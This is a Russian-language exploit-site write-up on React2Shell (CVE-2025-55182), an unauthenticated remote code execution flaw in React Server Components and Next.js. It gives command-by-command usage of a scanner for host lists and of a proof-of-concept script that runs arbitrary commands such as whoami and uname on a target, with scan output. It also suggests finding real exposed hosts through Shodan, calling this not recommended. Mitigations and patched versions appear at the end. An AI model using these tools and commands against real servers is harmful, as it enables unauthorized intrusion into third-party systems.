## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LITNDAT-REACT2SHELL-POC-CVE-2025-55182
# Симуляция эксплуатации React2Shell (CVE-2025-55182)
### Примечание:
* Этот документ предназначен только для учебных целей и исследований в области безопасности.
* Не используйте для атаки на системы без разрешения.
## 1\. Обзор
CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость удаленного выполнения кода (RCE), затрагивающая React Server Components (RSC). Она использует протокол Flight для связи между клиентом и сервером. Когда клиент запрашивает данные, сервер получает полезную нагрузку, анализирует ее, что может позволить злоумышленнику внедрить вредоносные структуры или произвольный код, который React считает допустимым.
Пункт| Содержание
---|---
Уровень| Critical (CVSS 10.0)
Тип| Unsafe Deserialization (CWE-502)
Метод атаки| Удаленный, без аутентификации
Затронутые версии:| React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 и Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6
## 2\. Причина
Сервер обрабатывает полезную нагрузку от клиента без полной проверки, что позволяет атакующему:
* Внедрить вредоносную полезную нагрузку
* Выполнить код на сервере
* Быть эксплуатируемым без аутентификации пользователя, так как это уязвимость до аутентификации.
Эксплуатация этой уязвимости была обнаружена с 5 декабря 2025 года. Большинство успешных эксплуатаций исходят из оценок атакующих групп. Затронуты как среда Windows, так и Linux.
## 3\. Эксперимент
Установка
root@kitploit:~
pip install -r requirements.txt
Сканирование уязвимого сервера:
root@kitploit:~
python3 scanner.py -u https://example.com
Введите путь для сканирования (здесь я ввожу свой уязвимый сервер `http://192.168.10.1:3000`)

Полученный результат:

root@kitploit:~
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
#### Кроме того, можно сканировать в зависимости от ваших целей эксплуатации:
Сканирование списка хостов:
root@kitploit:~
python3 scanner.py -l hosts.txt
Сканирование с несколькими потоками и сохранением результатов:
root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json
Сканирование с пользовательскими заголовками:
root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Сканирование целей под Windows:
root@kitploit:~
python3 scanner.py -u https://example.com --windows
Использование безопасного метода обнаружения по побочному каналу:
root@kitploit:~
python3 scanner.py -u https://example.com --safe-check

Как вы видите, мы столкнулись с уязвимостью безопасности, что означает, что наш сервер уязвим для атак злоумышленника.
* * *
### Nuclei
Теперь мы используем Nuclei, чтобы проверить, имеет ли сервер уязвимость с PoC. Эта функция работает путем отправки пользовательских запросов, минимизации ложных срабатываний и поддержки параллельного сканирования.
root@kitploit:~
nuclei -t scan.yaml -u http://192.168.10.1:3000
Полученный результат
root@kitploit:~
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.

Система обнаружила, что этот сервер уязвим и может быть эксплуатирован через CVE-2025-55182. Отсюда видно, что это довольно опасная и важная уязвимость, для которой уже много PoC в социальных сетях. ☺☺☺
## 4\. Метод эксплуатации
Как видите, достаточно этой информации, чтобы подтвердить существование уязвимости в приложении. Чтобы доказать, что это приложение может быть использовано для выполнения команды или удаленного выполнения кода, я запущу PoC.
root@kitploit:~
chmod +x scanner.sh
#### Использование
root@kitploit:~
# Проверка, уязвим ли хост
./datscan.sh -d example.com
# Выполнение команды для проверки текущего пользователя
./datscan.sh -d example.com -c "whoami"
# С полным URL
./datscan.sh -d example.com -c "uname -a"

Значение:
* Возвращает текущего пользователя, под которым работает процесс сервера
* Помогает определить:
* под каким пользователем работает приложение
* уровень привилегий (низкие или администратор)
=> Это самая базовая команда для подтверждения успешного RCE
## Примечание
* `-d, --domain` — домен/URL
* `-c, --command` — Команда для выполнения (напр.: `whoami, hostname,...`)
## Пример
root@kitploit:~
# Проверка имени хоста
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Определение версии ОС
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Проверка стабильности выполнения команд
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
#### ИЗОБРАЖЕНИЕ ПОСЛЕ ВЫПОЛНЕНИЯ

Это этап начальной разведки после успешной эксплуатации.
> Помогает нам подтвердить: RCE работает, определить ОС,...
## ВНИМАНИЕ
Поскольку в этом эксперименте я демонстрирую в личной лабораторной среде, чтобы избежать нарушения закона, использование HTTP-заголовков для кражи данных, больших выводов или специальных символов может вызвать:
* `ERR_INVALID_CHAR`
* Уменьшение ответа
* Тайм-ауты

Короткие команды (например, `whoami`, `ver`) более надежны для демонстрации в тестовой среде.
Если не хотите, можете использовать Shodan для проверки IP-адресов в реальной среде и сделать так, как в моем эксперименте выше, для эксплуатации (не рекомендуется).

Как уже отмечалось выше. Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте этот инструмент для тестирования систем, которыми вы не владеете или на которые у вас нет разрешения.
## 5\. Некоторые способы устранения уязвимости
* Не доверяйте данным от клиента
* Строгая проверка ввода
* Обновление версий
* React: >= 19.0.1 / 19.1.2 / 19.2.1
* Next.js: >= 15.0.5 / 16.0.7
## 6\. Дополнительные ссылки
* CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
* CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/